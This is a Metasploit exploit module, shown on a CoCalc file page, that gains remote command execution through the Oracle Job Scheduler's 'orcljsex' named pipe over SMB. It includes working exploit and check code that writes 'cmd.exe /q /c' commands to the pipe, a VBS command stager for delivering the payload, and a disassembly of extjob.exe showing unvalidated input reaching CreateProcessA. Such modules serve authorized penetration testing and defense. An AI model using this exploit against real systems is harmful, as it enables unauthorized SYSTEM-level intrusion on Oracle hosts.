CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
class MetasploitModule < Msf::Exploit::Remote
7
  Rank = ExcellentRanking
8

9
  include Msf::Exploit::Remote::SMB::Client
10
  include Msf::Exploit::CmdStager
11

12
  def initialize(info = {})
13
    super(update_info(info,
14
      'Name'           => 'Oracle Job Scheduler Named Pipe Command Execution',
15
      'Description'    => %q{
16
          This module exploits the Oracle Job Scheduler to execute arbitrary commands. The Job
17
        Scheduler is implemented via the component extjob.exe which listens on a named pipe
18
        called "orcljsex<SID>" and execute arbitrary commands received over this channel via
19
        CreateProcess(). In order to connect to the Named Pipe remotely, SMB access is required.
20
        Note that the Job Scheduler is disabled in default installations.
21
      },
22
      'Author'         =>
23
        [
24
          'David Litchfield', # Vulnerability discovery and exploit
25
          'juan vazquez',     # Metasploit module
26
          'sinn3r'            # Metasploit fu
27
        ],
28
      'License'        => MSF_LICENSE,
29
      'References'     =>
30
        [
31
          [ 'URL', 'http://www.amazon.com/Oracle-Hackers-Handbook-Hacking-Defending/dp/0470080221' ],
32
        ],
33
      'Payload'        =>
34
        {
35
          'Space'    => 2048,
36
        },
37
      'Platform'       => 'win',
38
      # This module has been tested on Oracle 10g Release 1
39
      # where the Oracle Job Scheduler runs as SYSTEM on Windows
40
      'Targets'        => [['Automatic',{}]],
41
      'CmdStagerFlavor' => 'vbs',
42
      'Privileged'     => true,
43
      'DisclosureDate' => '2007-01-01',
44
      'DefaultTarget'  => 0))
45

46
    register_options(
47
      [
48
        OptString.new('SID', [ true, 'The database sid', 'ORCL'])
49
      ])
50

51
  end
52

53
  def exploit
54
    if check == Exploit::CheckCode::Vulnerable
55
      print_status("Exploiting through \\\\#{datastore['RHOST']}\\orcljsex#{datastore['SID']} named pipe...")
56
      execute_cmdstager({:linemax => 1500})
57
      handler
58
    else
59
      print_error "Host does not appear to be vulnerable!"
60
    end
61
  end
62

63
  def execute_command(cmd, opts)
64
    connect()
65
    smb_login()
66
    pipe = simple.create_pipe("\\orcljsex#{datastore['SID']}")
67
    pipe.write("cmd.exe /q /c #{cmd}")
68
    pipe.close
69
    disconnect
70
  end
71

72
  def check
73

74
    begin
75
      connect()
76
      smb_login()
77
      pipe = simple.create_pipe("\\orcljsex#{datastore['SID']}")
78
      pipe.write("cmd.exe /q /c dir")
79
      result = pipe.read() # Exit Code
80
      pipe.close
81
      disconnect
82
    rescue
83
      return Exploit::CheckCode::Safe
84
    end
85

86
    if result == "1" # Exit Code should be 1
87
      return Exploit::CheckCode::Vulnerable
88
    end
89

90
    return Exploit::CheckCode::Safe
91

92
  end
93
end
94

95
=begin
96
How To Test locally:
97
1. Go to Administrative Tools -> Services -> Set 'OracleJobSchedulerORCL' to automatic, and
98
   then Start the service.
99
2. Make sure you know your SMBUser and SMBPass
100
3. Run:
101
   C:\Documents and Settings\juan\PipeList>echo cmd.exe /c calc.exe > \\.\pipe\orcljsexorcl
102

103
Code Analysis of extjob.exe (Oracle 10g Release 1)
104
=================================================
105

106
From _ServiceStart():
107

108
* Create Named Pipe and store handle on "esi":
109

110
.text:004017EC                 push    offset _pipename
111
.text:004017F1                 lea     ecx, [ebp+Name]
112
.text:004017F7                 push    offset $SG59611 ; "\\\\.\\pipe\\orcljsex%s"
113
.text:004017FC                 push    ecx
114
.text:004017FD                 jmp     short loc_401810
115
.text:004017FF ; ---------------------------------------------------------------------------
116
.text:004017FF
117
.text:004017FF loc_4017FF:                             ; CODE XREF: _ServiceStart+FAj
118
.text:004017FF                 push    offset $SG59613
119
.text:00401804                 lea     edx, [ebp+Name]
120
.text:0040180A                 push    offset $SG59614 ; "\\\\.\\pipe\\orcljsex%s"
121
.text:0040180F                 push    edx             ; Dest
122
.text:00401810
123
.text:00401810 loc_401810:                             ; CODE XREF: _ServiceStart+10Dj
124
.text:00401810                 call    ds:__imp__sprintf
125
.text:00401816                 add     esp, 0Ch
126
.text:00401819                 push    edi
127
.text:0040181A                 push    edi
128
.text:0040181B                 push    4
129
.text:0040181D                 call    _ReportStatusToSCMgr
130
.text:00401822                 add     esp, 0Ch
131
.text:00401825                 test    eax, eax
132
.text:00401827                 jz      loc_4018EC
133
.text:0040182D                 mov     edi, ds:__imp__CreateNamedPipeA@32 ; CreateNamedPipeA(x,x,x,x,x,x,x,x)
134
.text:0040185C                 mov     esi, eax
135

136
* Connect Named Pipe
137

138
.text:0040188F                 push    eax             ; lpOverlapped
139
.text:00401890                 push    esi             ; hNamedPipe
140
.text:00401891                 call    ds:__imp__ConnectNamedPipe@8 ; ConnectNamedPipe(x,x)
141

142
* Create Thread with ExecMain() as lpStartAddress and esi (The Pipe handle) as parameter
143

144
.text:004018B9                 lea     edx, [ebp+ThreadId]
145
.text:004018BC                 push    edx             ; lpThreadId
146
.text:004018BD                 push    0               ; dwCreationFlags
147
.text:004018BF                 push    esi             ; lpParameter
148
.text:004018C0                 push    offset _ExecMain ; lpStartAddress
149
.text:004018C5                 push    0               ; dwStackSize
150
.text:004018C7                 push    0               ; lpThreadAttributes
151
.text:004018C9                 call    ds:__imp__CreateThread@24 ; CreateThread(x,x,x,x,x,x)
152

153
From ExecMain():
154

155
* Stores Named Pipe Handle in ebx
156

157
.text:0040197C                 mov     ebx, [ebp+hObject]
158

159
* Read From Named Pipe
160

161
.text:004019C4                 lea     eax, [ebp+NumberOfBytesRead]
162
.text:004019C7                 push    edx             ; lpOverlapped
163
.text:004019C8                 push    eax             ; lpNumberOfBytesRead
164
.text:004019C9                 lea     ecx, [ebp+Buffer]
165
.text:004019CF                 push    10000h          ; nNumberOfBytesToRead
166
.text:004019D4                 push    ecx             ; lpBuffer
167
.text:004019D5                 push    ebx             ; hFile
168
.text:004019D6                 call    ds:__imp__ReadFile@20 ; ReadFile(x,x,x,x,x)
169

170
* CreateProcess with lpCommandLine full controlled by the user input
171

172
.text:00401A06                 mov     ecx, 11h
173
.text:00401A0B                 xor     eax, eax
174
.text:00401A0D                 lea     edi, [ebp+StartupInfo]
175
.text:00401A10                 push    esi
176
.text:00401A11                 rep stosd
177
.text:00401A13                 lea     eax, [ebp+ProcessInformation]
178
.text:00401A16                 lea     ecx, [ebp+StartupInfo]
179
.text:00401A19                 push    eax             ; lpProcessInformation
180
.text:00401A1A                 push    ecx             ; lpStartupInfo
181
.text:00401A1B                 push    0               ; lpCurrentDirectory
182
.text:00401A1D                 push    0               ; lpEnvironment
183
.text:00401A1F                 push    0               ; dwCreationFlags
184
.text:00401A21                 push    0               ; bInheritHandles
185
.text:00401A23                 push    0               ; lpThreadAttributes
186
.text:00401A25                 lea     edx, [ebp+Buffer]
187
.text:00401A2B                 push    0               ; lpProcessAttributes
188
.text:00401A2D                 push    edx             ; lpCommandLine
189
.text:00401A2E                 push    0               ; lpApplicationName
190
.text:00401A30                 mov     [ebp+StartupInfo.cb], 44h
191
.text:00401A37                 mov     [ebp+StartupInfo.wShowWindow], 5
192
.text:00401A3D                 mov     [ebp+StartupInfo.dwFlags], 100h
193
.text:00401A44                 mov     [ebp+StartupInfo.lpDesktop], offset $SG59671
194
.text:00401A4B                 call    ds:__imp__CreateProcessA@40 ; CreateProcessA(x,x,x,x,x,x,x,x,x,x)
195

196

197
=end
198

199